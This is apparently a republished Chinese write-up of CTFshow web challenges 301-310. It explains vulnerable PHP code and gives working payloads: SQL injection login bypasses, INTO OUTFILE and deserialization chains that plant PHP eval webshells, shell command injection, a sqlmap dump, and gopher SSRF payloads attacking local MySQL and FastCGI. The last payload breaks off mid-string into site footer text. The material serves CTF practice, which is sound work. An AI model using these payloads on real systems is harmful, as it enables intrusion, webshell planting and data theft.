CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入SSRF打MySQLSSRF打FastCGISSRF文件读取
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入SSRF打MySQLSSRF打FastCGISSRF文件读取相关的知识,希望对你有一定的参考价值。
web301-SQL注入
下载源码,在checklogin.php页面存在SQL注入
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
由于只是进行了比较并没有回显,普通的SQL注入无法使用
方法一:构造临时用户
mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录
在本地环境测试下
users表内存在以下字段与值
如果查询两个字段会出现下面的结果,生成一个假的用户
当只查询一个字段时,通过在username处插入SQL查询语句改变查询结果
1' union select 1# ';
输入密码1即可登录后台获取flag
方法二:写入shell
既然是没有回显,也可以用写shell的方法
SQL注入写入文件前提推荐阅读
- 对目录有写入权限
- 知道绝对路径
userid=a' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"%23&userpwd=1
方法三:sqlmap
bool盲注方法
python .\\sqlmap.py -u "http://fddf2115-423b-4701-b77b-8ef5f2194ee7.challenge.ctf.show:8080/" --form --batch --dump
# 参数
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
--forms 在目标URL上解析和测试表单
--dump 查询指定范围的全部数据
web302-SQL注入
与上题不同之处在于
checklogin.php,userpwd添加了一个sds_decode函数
if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))
# 先了解strcasecmp() 函数
比较两个字符串(不区分大小写)
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
这个函数在fun.php
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
方法一:联合查询
既然可以修改SQL语句执行后的结果,只要让SQL查询出的结果和输入password经过sds_decode函数后的值一致就行,比如就让password=1
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$str=1;
var_dump(sds_decode($str));
?>
# string(32) "d9c77c4e454869d5d8da3b4be79694d3"
构造sql语句
1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
password为1
方法二:写shell
因为这个判断是在SQL语句执行之后,所以对写入shell是没有影响的
抓包修改而不是在用户框直接传入,因为浏览器会默认进行url编码导致SQL语句无法执行
web303-insert注入
checklogin.php,username长度限制在6以内
if(strlen($username)>6){
die();
}
新添加了两个页面,dpt.php,dptadd.php
因为限制了SQL注入语句的的长度之前的方法就没法使用了,但是新增了功能且dptadd.php代码注释中给了提示//sql注入点
,但是需要带session访问页面,所以现在首先就需要登录账户,fun.php也给出了提示,猜测账密就是admin,成功登录
# dptadd.php中传入参数没有过滤,存在insert注入
$sql="insert into sds_dpt set
sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
无过滤insert注入
查表名
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#
查值
dpt_name=1',sds_address=(select flag from sds_fl9g)#
web304-insert注入绕过
提示:增加了全局过滤
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
给的源码中没找到waf,网页测试中也没过滤,只是将数据库名改为了sds_flaag
web305-反序列化写入文件
添加了waf,在fun.php
function sds_waf($str){
if(preg_match('/\\~|\\`|\\!|\\@|\\#|\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\_|\\+|\\=|\\{|\\}|\\[|\\]|\\;|\\:|\\'|\\"|\\,|\\.|\\?|\\/|\\\\\\|\\<|\\>/', $str)){
return false;
}else{
return true;
}
}
dptadd.php所有的参数都被过滤函数包裹,SQL注入无望
在class.php发现文件写入
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
在checklogin.php存在反序列化
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
构造poc
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
var_dump(urlencode(serialize(new user('a.php','<?php eval($_POST[1]);?>'))));//get可能会出现yijian连不上的情况
?>
# O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
可以用蚁剑去连接shell,发现flag并没有在文件中,根据蚁剑远程连接的conn.php文件中的账号密码root:root连接数据库
蚁剑中对要进行管理的Shell,单击鼠标右键,在菜单中选择「数据操作」,添加配置
web306-pop反序列化
在class.php在存在文件写入(file_put_contents)函数,寻找调用链
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
在dao.php可以调用close函数,而且在__destruct()
方法内
在index.php文件中又包含了dao.php,并且存在反序列化函数
<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
if(!$user){
header("location:login.php");
}
构造payload
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='a.php';
public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));
# TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
在浏览器中添加cookie:user,访问index.php,即可生成一句话木马,cat flag.php即可拿到flag
web307-pop反序列化
mvc框架,上题的close函数已经变为closelog,而且只出现了一次无法调用,但是dao.php存在一个clearCache函数,执行了命令,并且cache_dir是可控的
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
clearCache在service.php被调用
class service{
......
public function clearCache(){
$this->dao->clearCache();
}
}
logout.php包含了service.php并且调用了clearCache函数
......
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
......
service是通过dao类调用的clearCache,logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用clearCache
构造payload
<?php
class config{
public $cache_dir = ';echo "<?php eval(\\$_POST[1]);?>" >a.php;';
//linux的shell里面$有特殊意义所以转义一下。
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
#
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDI6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=
在浏览器添加cookie:service值就是payload生成的base64值,访问controller/logout.php,生成shell
访问shell,执行命令
web308-SSRF打mysql
提示:需要拿shell
增加了过滤,cache_dir只能是字母
public function clearCache(){
if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
fun.php存在checkUpdate函数,也就是存在ssrf
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
并且dao.php调用了checkUpdate函数
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
config中的update_url也是可控的,跟上题一样,logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用checkVersion
因为提示了需要拿shell,环境中存在mysql,还有一个明显的特征就是MySQL没有密码,可以通过是SSRF打MySQL
# service/dao/config/config.php
class config{
private $mysql_username='root';
private $mysql_password='';
通过gopherus生成poc
构造序列化payload
<?php
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3Nzg6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGIlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNDAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMjclNjMlNmQlNjQlMjclNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjclMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzIlMmUlNzAlNjglNzAlMjclM2IlMDElMDAlMDAlMDAlMDEiO319
在浏览器添加cookie:service值就是payload生成的base64值,访问controller/logout.php,生成shell
cat这个文件就行了
web309-SSRF打FastCGI
提示:需要拿shell,308的方法不行了,mysql 有密码了
对比了源码是一模一样的,SSRF还有可能的就是打Redis(端口6379)和FastCGI(端口9000)
探测是通过gopher协议的延迟判断的
gopher://127.0.0.1:9000
摘自羽师傅博客
通过http或其他协议去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟
问题出现在了FastCGI,具体可见
FastCGI协议
在静态网站中,WEB 容器如 Apache、nginx 相当于内容分发员的角色, 根据用户请求的页面从网站根目录中返回给用户;而在动态网站中,WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器;当 Apache 收到用户对 index.php 的请求后,如果使用的是 CGI,会启动对应的 CGI 程序,对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件,初始化执行环境,然后处理请求,再以规定 CGI 规定的格式返回处理后的结果,退出进程,Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程
这里说的是使用 CGI,而 FastCGI 就相当于高性能的 CGI,与 CGI 不同的是它像一个常驻的 CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能
php-fpm
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的
也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,**worker 进程主要负责动态执行 PHP 代码,**处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端
漏洞原理
假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行
利用工具生成payload
构造poc
<?php
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
因为在index.php中同样调用了checkVersion,并且将结果输出,所以可以回显
web310-文件读取
源码没有修改,也cat不到flag,用find命令找flag,发现在/var/flag,但是无法直接读取,尝试用file伪协议去读取配置文件nginx.conf
<?php
class config{
public $update_url = 'file:///etc/nginx/nginx.con以上是关于CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入SSRF打MySQLSSRF打FastCGISSRF文件读取的主要内容,如果未能解决你的问题,请参考以下文章
CTFshow刷题日记-WEB-反序列化篇(上,254-263)
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞pop链构造PHP框架反序列化漏洞python反序列化漏洞
CTFshow刷题日记-WEB-SSTI(web361-372)